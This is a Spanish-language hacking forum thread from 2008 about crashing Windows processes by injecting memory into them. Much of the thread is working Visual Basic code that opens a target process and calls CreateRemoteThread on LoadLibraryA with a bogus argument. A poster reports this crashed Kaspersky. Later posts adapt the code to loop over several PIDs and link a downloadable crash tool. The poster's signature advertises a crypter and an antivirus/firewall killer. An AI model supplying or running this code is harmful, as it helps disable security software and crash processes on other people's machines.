Inyeccion para crashear procesos

Iniciado por nhaalclkiemr, 14 Febrero 2008, 20:05 PM

0 Miembros y 1 Visitante están viendo este tema.

nhaalclkiemr

Weno pues hablando asi con Tughack nos surgio el tema de crashear procesos inyectando en su memoria...me dijo que con el code de Hendrix para inyectar DLL en procesos si intentas inyectar DLLs que no existen (una ruta falsa) los procesos crasheaban...sin embargo a mi no me funciona y el volvio a probar y tampoco le funcionó...el code por si alguien no sabe es este:

http://foro.elhacker.net/index.php/topic,168272.0.html

Alguien lo ha probado? alguien sabe como crashear un proceso inyectando en su memoria??

Weno a ver si alguien sabe algo de este tema...saludos ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

byebye

por darle una ruta que no existe no va a petar, devolvera su correspondiente codigo de error.

nhaalclkiemr

mmm y como podría hacer para que petara?

había un code en antifahack que por lo menos antes me funcionaba...pero ahora como antifahack ha caido :-( ...que a pasado por cierto?

weno gracias y saludos ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

cobein

Aca les dejo uno que arme para pasar el rato, funciona inyectando con CreateRemoteThread una libreria echa en VB  y para crashear el programa lo subclasifica y bla bla bla.

http://rapidshare.com/files/91900694/DllCrash.zip.html
http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.

~~

Solo hay que inyectar "mal", este es el code de hendrix:

Dim Hendrix As String

Const PROCESS_ALL_ACCESS = &H1F0FFF

Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_DECOMMIT = &H4000
Const MEM_RELEASE = &H8000
Const MEM_FREE = &H10000
Const MEM_PRIVATE = &H20000
Const MEM_MAPPED = &H40000
Const MEM_TOP_DOWN = &H100000
Const PAGE_READWRITE = &H4&

Private Sub Form_Load()
Dim PID As Long
Dim proc As Long
Dim nload As Long
Dim rems As Long
Dim DLL

Hendrix = "Crash"



PID = 2820 'Este es el pid del proceso a finalizar
proc = OpenProcess(PROCESS_ALL_ACCESS, False, PID)
nload = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
rems = VirtualAllocEx(proc, 0, Len(Hendrix), MEM_COMMIT, PAGE_READWRITE)
WriteProcessMemory proc, ByVal rems, Hendrix, 5, 0
CreateRemoteThread proc, 0, 0, nload, rems, 0, 0
CloseHandle proc
End
End Sub
Created by GeSHI 1.0.7.20


Modulo:

Código

GeSHi (vb):
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Public Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, lpThreadAttributes As Long, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long


Tughack

Claro, no es por ser una ruta falsa, mencione lo de la ruta falsa pork estaba hablando con hendrix kuando el lo estaba probando, kuando probo con una ruta falsa ha descobierto k crasheava el kaspersky. Por eso en su CrashProc andava por ahi con una otra string xD

Saludos

nhaalclkiemr

Boh ya se que era...

A ver Tughack tu te acuerdas que en un principio te pasara un code...ese era el que puso E0N aki pero un poco modificado, la cuestion es que al codigo que puso E0N aí (el que te pasara yo) si quitas la variable DLL, esa que aí esta declarada como Variant y aparentemente no hace nada, pues resulta que si la quitas el code no funciona...y yo como vi que no aparecia por ningun lado la habia quitado y no funcionaba...

Ahora explicadme una cosa...esa variable DLL si solo está declarada y no se utiliza apra nada pork está aí y si no la pones no crashean los procesos?? que cosa mas rara...pork pasa eso?

Saludos ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%

Tughack

En este momento no tengo ni idea de lo k estas hablando. No recuerdo avermos hablado acerca de ningun codigo de E0N, mas tarde revisare los logs, pero creia k solo haviamos hablado de la inyeccion de hendrix xD

De kualkier forma, tienes k inyectar algo, se es una variable declarada o se lo insertas directamente no importa.

saludos

Eternal Idol

¿No es mas facil que inyectar codigo directamente crear un hilo cuya direccion de inicio sea invalida? 0xCACACACA por ejemplo  :laugh:
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón

nhaalclkiemr

Jeje a ver ese code si mal no me equivoco es de Hendrix no de E0N...

Yo no habé de ningun code de E0N, yo te pase un code por MSN, asi en la ventana del MSN a pelo :xD , despues fue cuando me empezaste a hablar del code de Hendrix, pero tu te referias a otro, el de la DLL...

Weno eso no es la cuestion, el tema es que tu dices que hay que inyectar aunke aunke sea esa variable declarada, pero si te fijas y si no me equivoco lo que inyectas es la variable Hendrix, la variable DLL solo la declaras y no la inyectas...entonces para que declararla si no se usa? sin embargo si la quitas no funciona el code...eso es lo que no entiendo...

Weno tambien tengo que decir que el code es un poco "sensible"...si intento modificarlo un poco a veces deja de ir...

por ejemplo intenté poner un For en la funcion y PID en vez de ser un Long es una matriz de Longs...algo así para que nos etendamos:

Código (vb) [Seleccionar]
Private Sub CrashProcesos(ByRef PID() As Long)
Dim proc As Long
Dim nload As Long
Dim rems As Long
Dim i as Long
Dim DLL

Hendrix = "Crash"

For i = LBound(PID) to UBound(PID)
proc = OpenProcess(PROCESS_ALL_ACCESS, 0, PID(i))
nload = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
rems = VirtualAllocEx(proc, 0, Len(Hendrix), MEM_COMMIT, PAGE_READWRITE)
WriteProcessMemory proc, ByVal rems, Hendrix, Len(Hendrix), 0
CreateRemoteThread proc, 0, 0, nload, rems, 0, 0
CloseHandle proc
Next i
End
End Sub


Y ahora lo que le paso es una matriz PID que contiene los PIDs que quiero terminar, pues ya no funciona...sin embargo, si quito el For, aunke use PID como una matriz el proceso si crasheara, aunke logicamente solo el primer elemento de la matriz pork al no haber For solo se ejecutará una vez el code con i igual a 0...

Pero weno esto tiene solucion poniendo el For a la hora de llamar a la funcion, es decir llamar a la funcion varias veces...sin modificar la funcion original y en vez de pasar matrices paso el PID que quiro crashear, simplemente que tengo que llamar varias veces a la funcion, asi si funciona...

Weno esto era solo para decir que la funcion era algo sensible y se comporta un poco rarita pero weno ya la consegui acoplarla de manera funcional...pero me intriga la variable esa DLL :xD

Gracias y saludos ;)
StasFodidoCrypter 1.0 - 100% (old)
StasFodidoCrypter 2.0 - 85% (deserted)
Fire AV/FW-Killer - 97% (deserted)
R-WlanXDecrypter 1.0- 100%